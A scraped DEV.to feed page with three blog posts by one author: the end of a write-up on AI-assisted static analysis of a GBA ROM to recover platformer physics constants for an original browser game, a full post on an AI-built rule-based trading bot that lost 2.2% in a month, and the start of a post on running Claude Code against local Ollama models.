&lt;td&gt;Heavy gravity&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x80&lt;/code&gt; per frame&lt;/td&gt;
&lt;td&gt;ROM, &lt;code&gt;0x08018EE0&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apex threshold&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x80&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ROM, &lt;code&gt;0x0800EFA0&lt;/code&gt; (headless pass)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Jump velocity&lt;/td&gt;
&lt;td&gt;not found&lt;/td&gt;
&lt;td&gt;my choice, &lt;code&gt;-0x480&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Max fall speed&lt;/td&gt;
&lt;td&gt;not found&lt;/td&gt;
&lt;td&gt;my choice, &lt;code&gt;0x500&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two of the most important numbers are missing. The jump impulse is probably loaded from a data table instead of written as a constant, and static analysis didn't connect the table to the routine. Running the game in an emulator with a debugger attached would likely answer it quickly. I chose to stop at static analysis and say so, rather than invent a value and call it recovered.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I didn't convert the real game
&lt;/h2&gt;

&lt;p&gt;My first plan was to rebuild the opening level of the real game in JavaScript. Claude declined: the characters, art, levels and music belong to their owners, and a browser recreation would be a copy of them, credits or not. For the same copyright reasons, I won't show the real game converted here.&lt;/p&gt;

&lt;p&gt;Physics constants are a different thing. "Gravity is &lt;code&gt;0x38&lt;/code&gt;" is a fact about how a program behaves, not a creative work. So we kept the numbers and built a new game around them, mixing worlds: the movement of a 2004 platformer on a Roman aqueduct at sunset.&lt;/p&gt;

&lt;p&gt;The first draft had a running fox as the hero, and the graphics came out looking a lot like Sonic. I liked the mix of worlds, but I wanted a hero of my own, so the fox became a gladiator.&lt;/p&gt;

&lt;h2&gt;
  
  
  Arena Run: a browser game on the recovered physics
&lt;/h2&gt;

&lt;p&gt;The final game is called Arena Run. You play an original gladiator crossing the aqueduct to the arena, with hooded bandits who chase you and lunge with a dagger, boars that charge when they see you, and crows flying in waves. One sword hit takes any of them down. Touching them costs a heart.&lt;/p&gt;

&lt;p&gt;It is plain JavaScript and Canvas 2D at the GBA's native 240x160 resolution, scaled up with nearest-neighbour pixels. No game engine. The physics module carries the ROM values with a comment saying where each came from:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Every value is in subpixels (1/256 px) per frame, at 60 frames per second.&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PhysicsTuning&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;freeze&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;walkSpeed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x180&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="c1"&gt;// ROM: speed cap in the routine at 0x080191E0&lt;/span&gt;
  &lt;span class="na"&gt;runSpeed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="c1"&gt;// ROM: run branch of the same routine&lt;/span&gt;
  &lt;span class="na"&gt;risingGravity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;// ROM: gravity byte (+0x34) set at 0x08018EE0&lt;/span&gt;
  &lt;span class="na"&gt;fallingGravity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// ROM: written at 0x08018EE0 when three flags line up&lt;/span&gt;
  &lt;span class="na"&gt;apexThreshold&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;// ROM: rising/falling flag at 0x0800EFA0&lt;/span&gt;
  &lt;span class="na"&gt;jumpVelocity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x480&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// not found in the ROM, my choice&lt;/span&gt;
  &lt;span class="na"&gt;maxFallSpeed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;// not found in the ROM, my choice&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details keep it faithful to the hardware:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Integer subpixels.&lt;/strong&gt; Positions and velocities are integers in 1/256 px, like the original, so there is no floating-point drift between a jump in my browser and a jump in your browser.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A fixed 60 Hz timestep.&lt;/strong&gt; The GBA runs game logic once per vertical blank (about 59.73 times per second). The game loop accumulates real time and advances the physics in whole frames, so a 144 Hz monitor doesn't make the gladiator jump higher.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The enemies, hearts, sword and level are my design. The ROM gave me how the hero moves, not what he fights.&lt;/p&gt;

&lt;p&gt;One more honest note about the clip at the top: it is a bot. I wrote a small search script that tries input sequences until it reaches the arena, mostly to prove the level can be finished. It does it in 22.8 seconds with 36 of 38 coins and every heart intact, and the recording replays its inputs in the real page frame by frame.&lt;/p&gt;

&lt;h2&gt;
  
  
  What impressed me, and where it stops
&lt;/h2&gt;

&lt;p&gt;I expected a chatbot that talks confidently about ARM assembly. What I got was closer to a junior reverse engineer who works very fast:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;It worked from evidence.&lt;/strong&gt; The gravity and movement values recovered through REA map to evidence records tied to the ROM's hash. Values from the headless pass and my own tuning choices are identified separately. When something wasn't in the evidence (jump velocity), it said so.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It chose good search strategies.&lt;/strong&gt; Looking for "a function that adds one byte field to another every frame" is how a human would find gravity. Doing it across 1,700 functions far faster than I could by hand is not.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It handled the boring setup.&lt;/strong&gt; Version mismatches, a missing native decompiler, a JDK upgrade. That is where most reverse engineering sessions die.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And the limits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Static analysis has a ceiling.&lt;/strong&gt; Data tables, values computed at runtime and anything behind function pointers need a debugger or an emulator. REA has debugger tools for native processes, but answering this would need an emulator debugger such as mGBA's.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interpretation is still on you.&lt;/strong&gt; The decompiler shows that gravity becomes &lt;code&gt;0x80&lt;/code&gt; when three flags line up. Saying "this is the jump button release" is a human judgement.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It is not a "convert this game" button.&lt;/strong&gt; Getting from constants to a playable game took far more work than finding the constants, and copying the original's art and levels was never on the table.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Is it legal to reverse engineer a ROM?&lt;/strong&gt;&lt;br&gt;
Analysing how software behaves for research and interoperability is treated differently from redistributing it, and the rules vary by country. What I published here are a few numeric constants and short, simplified decompiler excerpts. No ROM, no assets, and nothing you could run.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Could the AI do this without REA?&lt;/strong&gt;&lt;br&gt;
Without a decompiler, no: a model reading hex produces plausible-looking nonsense. Without REA, partly: the first pass here used Ghidra's headless scripts directly. What REA added is an evidence record with the file hash for every claim, which is what made the findings checkable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Ghidra and not IDA or Hopper?&lt;/strong&gt;&lt;br&gt;
REA supports several providers. Ghidra is free and open source, which made the whole setup reproducible without a license.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How long did it take?&lt;/strong&gt;&lt;br&gt;
The setup took longer than the analysis. Repeating the key findings through REA took a handful of tool calls, because by then we knew where to look.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;An AI reverse engineering a binary is only as good as its tools.&lt;/strong&gt; REA plus Ghidra turned guesses into cited evidence.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Search by behavior, not by name.&lt;/strong&gt; "Adds a byte to the vertical speed every frame" found the gravity routine among 1,700 unnamed functions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Say what you didn't find.&lt;/strong&gt; Jump velocity and max fall speed are missing, and the game says so in its own source code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Facts are portable, creative work isn't.&lt;/strong&gt; Numbers about how a program behaves can live in a new game. Characters and levels can't.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Which old game would you point this at first, and what would you want to know about how it works?&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at &lt;a href="https://instagram.com/diogosoares.dev" rel="noopener noreferrer"&gt;@diogosoares.dev&lt;/a&gt;, where every article becomes a visual carousel you can save. This article also gets a video walkthrough on my YouTube channel, &lt;a href="https://youtube.com/@diogosoaresdev" rel="noopener noreferrer"&gt;Diogo Soares Dev&lt;/a&gt;, so subscribe there to see Arena Run in action. Let's also connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>reverseengineering</category>
      <category>gamedev</category>
      <category>javascript</category>
    </item>
    <item>
      <title>I Built a Trading Bot with AI. It Lost 2.2%.</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Fri, 06 Nov 2026 07:42:54 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/i-built-a-trading-bot-with-ai-it-lost-22-4ef4</link>
      <guid>https://dev.to/soaresdiogo/i-built-a-trading-bot-with-ai-it-lost-22-4ef4</guid>
      <description>&lt;p&gt;I gave an AI coding agent one job: build me a trading bot.&lt;/p&gt;

&lt;p&gt;Not a toy script. A Python project that reads the market every day, runs statistics on price history, decides what to buy, how much and when to get out, and then does it on its own, with real money, while I sleep.&lt;/p&gt;

&lt;p&gt;One month later, the account was down &lt;strong&gt;2.2%&lt;/strong&gt;. A boring global stock ETF, bought and never touched, was up 0.3% over the same month.&lt;/p&gt;

&lt;p&gt;That's not the interesting part, though. The interesting part is the rule I set before a single line of code was written: &lt;strong&gt;no LLM was allowed to make a trading decision.&lt;/strong&gt; The AI built the machine. It never got a vote on the trades.&lt;/p&gt;

&lt;p&gt;This post covers why I made that rule, what the AI actually built, how the month went, and the test that made me stop: a version of the bot that made 26% on historical data and still lost.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;This is not investment advice.&lt;/strong&gt; It was a personal experiment in a closed lab, with a small amount of my own money I was prepared to lose. Nothing here is a recommendation to buy, sell or automate anything. Financial markets are aggressive, and the people on the other side of your trade usually have more data, more money and more experience than a side project.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The rule: no LLM in the decisions
&lt;/h2&gt;

&lt;p&gt;When people hear "AI trading bot", they picture a chatbot reading the news and saying "buy". I deliberately built the opposite.&lt;/p&gt;

&lt;p&gt;The AI (Claude Code wrote nearly all the code, and Codex reviewed it as a second opinion) was the engineer. The decisions came from &lt;strong&gt;fixed rules written in plain Python&lt;/strong&gt;, applied the same way every time.&lt;/p&gt;

&lt;p&gt;Why not let a language model decide?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;I couldn't test it honestly.&lt;/strong&gt; To know if a strategy works, you replay years of history and see what it would have done. A model may have read about those years during training, so it can "know" what happened next. A rule can't.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It doesn't answer the same way twice.&lt;/strong&gt; Ask the same question on two days and you can get two different trades. I wanted a decision I could reproduce and explain.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It sounds confident when it's guessing.&lt;/strong&gt; In a market, a confident guess with real money is the most expensive kind of mistake.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the AI wrote the code, and the code made the calls. If the bot was wrong, I wanted to be able to point at the exact rule that was wrong.&lt;/p&gt;




&lt;h2&gt;
  
  
  What the AI built: statistics and a decision table
&lt;/h2&gt;

&lt;p&gt;The project is a Python application built on the usual data stack: &lt;code&gt;pandas&lt;/code&gt; and &lt;code&gt;numpy&lt;/code&gt; for the math, &lt;code&gt;yfinance&lt;/code&gt; and &lt;code&gt;ccxt&lt;/code&gt; for market data, a scheduler that wakes it up after each market close, and a Telegram bot that tells me everything it does.&lt;/p&gt;

&lt;p&gt;Every day it runs the same pipeline:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;market data  -&amp;gt;  is the market trending?     (price vs. its 200-day average)
             -&amp;gt;  which stocks are strongest?  (momentum over 3, 6 and 12 months)
             -&amp;gt;  is there a setup today?      (4 statistical patterns)
             -&amp;gt;  score from 0 to 100          (trend, strength, volume, risk/reward)
             -&amp;gt;  position size by risk        (each trade risks 1% of the account)
             -&amp;gt;  send the order, place the stop, message me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The heart of it is a &lt;strong&gt;decision table&lt;/strong&gt;. The market regime decides which strategies are allowed and how much risk to take:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Market regime&lt;/th&gt;
&lt;th&gt;Strategies allowed&lt;/th&gt;
&lt;th&gt;Risk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Uptrend (above the 200-day average, 50-day rising)&lt;/td&gt;
&lt;td&gt;all four&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Undecided&lt;/td&gt;
&lt;td&gt;pullback and mean reversion only&lt;/td&gt;
&lt;td&gt;50%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Downtrend&lt;/td&gt;
&lt;td&gt;none (the bot only buys)&lt;/td&gt;
&lt;td&gt;0%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;And each strategy is a simple statistical pattern with its own way in and out:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Strategy&lt;/th&gt;
&lt;th&gt;When it buys&lt;/th&gt;
&lt;th&gt;How it gets out&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Trend pullback&lt;/td&gt;
&lt;td&gt;price dips to its 20-day average in an uptrend&lt;/td&gt;
&lt;td&gt;partial profit, then a trailing exit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Breakout&lt;/td&gt;
&lt;td&gt;first close above the 20-day high, with strong volume&lt;/td&gt;
&lt;td&gt;a profit target or a trailing stop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mean reversion&lt;/td&gt;
&lt;td&gt;a short-term oversold reading (RSI) above the 200-day average&lt;/td&gt;
&lt;td&gt;back above the 5-day average, or after 10 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Moving average cross&lt;/td&gt;
&lt;td&gt;the 20-day average crosses above the 50-day&lt;/td&gt;
&lt;td&gt;a profit target or the cross back down&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;None of these are secret. They are classic, well-known setups, and that's the point: I wanted to know whether old ideas, executed with perfect discipline by a machine, could earn anything.&lt;/p&gt;

&lt;p&gt;The bot ran by itself on a small server, 24 hours a day. It was designed to check every market close, follow the rules the same way each time and place a protective stop on every trade, without my emotions in the loop. That discipline is the one thing a machine does better than me: it doesn't hesitate, chase a loss or move a stop because of a feeling.&lt;/p&gt;




&lt;h2&gt;
  
  
  One month with real money
&lt;/h2&gt;

&lt;p&gt;Then I let it trade. Real money, no manual overrides, for one month.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;My account&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-2.2%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A global ETF, bought and left alone&lt;/td&gt;
&lt;td&gt;+0.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Closed trades&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trades that won&lt;/td&gt;
&lt;td&gt;41%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A 2.2% loss is not a disaster in money terms, because each trade only risked 1% of the account. But the shape of the result told the real story: &lt;strong&gt;the wins were small and the losses were full.&lt;/strong&gt; Every winning trade closed early with a little profit; most losing trades took the whole planned loss.&lt;/p&gt;

&lt;p&gt;And one detail hurt more than the number: &lt;strong&gt;six of the 17 trades were stopped out and then recovered above the entry price within ten days.&lt;/strong&gt; The bot sold inside normal price noise, exactly the kind of mistake I built it to avoid.&lt;/p&gt;

&lt;p&gt;Seventeen trades is too few to judge any strategy. But it was enough to make me ask the harder question.&lt;/p&gt;




&lt;h2&gt;
  
  
  The test that made me stop
&lt;/h2&gt;

&lt;p&gt;Instead of tweaking settings until the chart looked nice (the easiest way to fool yourself in trading), I did the opposite. With the AI's help, I wrote down the rules of the test &lt;strong&gt;before&lt;/strong&gt; looking at any result:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Eight versions of the bot, listed in advance.&lt;/li&gt;
&lt;li&gt;Pick the best one on one stretch of history.&lt;/li&gt;
&lt;li&gt;Check it on a different stretch it wasn't chosen on.&lt;/li&gt;
&lt;li&gt;One rule to pass: &lt;strong&gt;beat a global ETF that you simply buy and hold&lt;/strong&gt;, without falling more than 10% along the way.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's what came back:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;Bot&lt;/th&gt;
&lt;th&gt;Global ETF&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;The original rules&lt;/td&gt;
&lt;td&gt;-4.3%&lt;/td&gt;
&lt;td&gt;+21.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The best version, on the stretch it was chosen on&lt;/td&gt;
&lt;td&gt;+22.0%&lt;/td&gt;
&lt;td&gt;+21.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The best version, on a different stretch&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+26.0%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+40.3%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The best version made 26%. It was profitable, it never fell more than 10%, and it stayed profitable even when I doubled the trading costs. By most hobby standards, that's a win.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I rejected it anyway.&lt;/strong&gt; It made about 14 percentage points less than doing nothing with an index fund, with far more work and more risk. A strategy that loses to "buy and forget" isn't an edge. It's a hobby.&lt;/p&gt;

&lt;p&gt;One more honest caveat: those historical tests use today's list of stocks, which quietly leaves out companies that collapsed or disappeared. That's survivorship bias, and it can make historical results look better than they really were.&lt;/p&gt;




&lt;h2&gt;
  
  
  Better AI, better code. Not better odds.
&lt;/h2&gt;

&lt;p&gt;So, can a better AI fix it? Partly, maybe. The strategy can clearly improve: rank each strategy on its own, give trades more room instead of tight stops, let winners run instead of cashing them early, test on a list of stocks that includes the losers.&lt;/p&gt;

&lt;p&gt;Using the best AI models available, one to build and one to review, gave me far better software than I would have built alone in a month. I'd do it again.&lt;/p&gt;

&lt;p&gt;But &lt;strong&gt;the AI improved the engineering. It didn't improve the odds.&lt;/strong&gt; The market doesn't care which model wrote your code. You're competing with funds that have better data, faster execution and full teams of quants, and with your own temptation to change the rules after a bad week.&lt;/p&gt;

&lt;p&gt;The responsible conclusion is not "AI can't trade". It's narrower: &lt;strong&gt;AI made it cheap to build and test a trading idea, and the test said the idea wasn't good enough.&lt;/strong&gt; That's still a useful answer, and it cost me 2.2% instead of years.&lt;/p&gt;

&lt;p&gt;AI made the system fast to build. Python made the decisions consistent. Automation took my emotions out of the execution.&lt;/p&gt;

&lt;p&gt;But none of that created an edge. &lt;strong&gt;Automating a strategy doesn't make it a good strategy.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Did the AI pick the trades?&lt;/strong&gt;&lt;br&gt;
No. That was the whole design. The AI wrote the code; fixed statistical rules picked the trades.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why not let ChatGPT or Claude decide?&lt;/strong&gt;&lt;br&gt;
Because I couldn't test it fairly on history, it doesn't decide the same way twice, and it may already know what happened in the past it's being tested on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is 2.2% in a month a lot?&lt;/strong&gt;&lt;br&gt;
In money, not here, because each trade risked 1%. As a signal, yes: small wins and full losses is a losing shape, even with only 17 trades.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is the bot still trading?&lt;/strong&gt;&lt;br&gt;
It stopped opening new trades. It only looks after what was already open.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can I get the code?&lt;/strong&gt;&lt;br&gt;
Not for now. It's tied to my own accounts, and I don't want anyone running it with real money because of one blog post.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AI can build a real, automated trading system fast.&lt;/strong&gt; Statistics, a decision table, orders and alerts, running on its own.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep the LLM out of the decisions if you want to test them honestly.&lt;/strong&gt; Rules can be replayed on history; opinions can't.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One month of real money: -2.2%,&lt;/strong&gt; while a global ETF did +0.3%. Small wins, full losses.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The best version made +26% in tests and still lost to the ETF's +40%.&lt;/strong&gt; Beating zero isn't the bar; beating "buy and forget" is.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Better AI gave me better code, not better odds.&lt;/strong&gt; And none of this is investment advice: markets are aggressive.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Would you let an AI near your money: as the builder, as the decision maker, or not at all? Tell me in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at &lt;a href="https://instagram.com/diogosoares.dev" rel="noopener noreferrer"&gt;@diogosoares.dev&lt;/a&gt;, where this experiment becomes a 5-slide carousel you can save. This article also has a video walkthrough on my YouTube channel, &lt;a href="https://youtube.com/@diogosoaresdev" rel="noopener noreferrer"&gt;Diogo Soares Dev&lt;/a&gt;, so subscribe there for the next experiments. Let's also connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>machinelearning</category>
      <category>programming</category>
    </item>
    <item>
      <title>I ran free Claude Code with Ollama on a mini PC and a Mac M3: what actually runs, why 4 of 5 tests failed, the real wait times, and when it is worth it.</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Wed, 04 Nov 2026 07:52:20 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/i-ran-free-claude-code-with-ollama-on-a-mini-pc-and-a-mac-m3-what-actually-runs-why-4-of-5-tests-bc1</link>
      <guid>https://dev.to/soaresdiogo/i-ran-free-claude-code-with-ollama-on-a-mini-pc-and-a-mac-m3-what-actually-runs-why-4-of-5-tests-bc1</guid>
      <description>&lt;p&gt;I asked Claude Code for a tiny Python file: one function, a few asserts. Nine minutes later, the "agent" answered with a JSON blob pretending to be a tool call, no file on disk, and Claude Code reported the run as a success.&lt;/p&gt;

&lt;p&gt;That was test number two. The setup is the one YouTube calls &lt;strong&gt;free Claude Code&lt;/strong&gt;: point Claude Code at &lt;a href="https://ollama.com" rel="noopener noreferrer"&gt;Ollama&lt;/a&gt;, run an open model on your own hardware, pay no API fees. I watched several videos on it, so I decided to test it myself and put real numbers on it. The idea is real: Ollama speaks the same API format as Anthropic, so Claude Code doesn't know the difference.&lt;/p&gt;

&lt;p&gt;A month ago I ran AI offline for 7 days on a €200 mini PC and wrote that coding agents built for cloud models were "not realistic" on that box. That was a prediction from the numbers, not a test. So I tested it, on the same mini PC and then on my Mac, with the same tiny task every time.&lt;/p&gt;

&lt;p&gt;This post covers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What "free Claude Code" actually runs, and what it doesn't.&lt;/li&gt;
&lt;li&gt;The setup, in four commands.&lt;/li&gt;
&lt;li&gt;Five tests, four failures, and the one that worked.&lt;/li&gt;
&lt;li&gt;Why the wait is minutes, not seconds: the 13,000 tokens you never see.&lt;/li&gt;
&lt;li&gt;What the popular tutorials do, and a safety alert about "free Opus" promises.&lt;/li&gt;
&lt;li&gt;When this setup is worth it.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  What "free Claude Code" actually is
&lt;/h2&gt;

&lt;p&gt;Claude Code is two things that usually ship together: the &lt;strong&gt;harness&lt;/strong&gt; (the terminal app, the agent loop, the tools that read and write files and run commands) and the &lt;strong&gt;model&lt;/strong&gt; that decides what to do (Claude, through Anthropic's API).&lt;/p&gt;

&lt;p&gt;The free setup keeps the harness and swaps the model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You (terminal on the Mac)
  |  "create palindrome.py and run it"
  v
Claude Code (Mac)  -- builds the request: system prompt + tool definitions + your message
  |  HTTP, Anthropic Messages format
  v
Ollama (mini PC or Mac)  -- the open model reads everything and answers:
  |                         "call the Write tool with this content"
  v
Claude Code runs the tool on YOUR disk, appends the result to the history,
sends the whole history again, and asks: what next?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;No Anthropic model runs anywhere in this setup.&lt;/strong&gt; Claude's weights are not public, so there is no "old Claude" to download. Every decision comes from the open model you picked (Gemma, Qwen, Llama). Claude Code is the hands; the open model is the brain.&lt;/p&gt;

&lt;p&gt;That's not a criticism. It's the most useful thing to understand before you try it, because every result below is the open model's result, on your hardware.&lt;/p&gt;




&lt;h2&gt;
  
  
  The setup in four commands
&lt;/h2&gt;

&lt;p&gt;Ollama added compatibility with the Anthropic Messages API in &lt;a href="https://ollama.com/blog/claude" rel="noopener noreferrer"&gt;v0.14.0&lt;/a&gt; (January 2026), including tool calls and tool results (&lt;a href="https://docs.ollama.com/api/anthropic-compatibility" rel="noopener noreferrer"&gt;docs&lt;/a&gt;). On the machine running Ollama, raise the context window first (more on why in the next section):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# systemd install (Linux): sudo systemctl edit ollama.service, then add&lt;/span&gt;
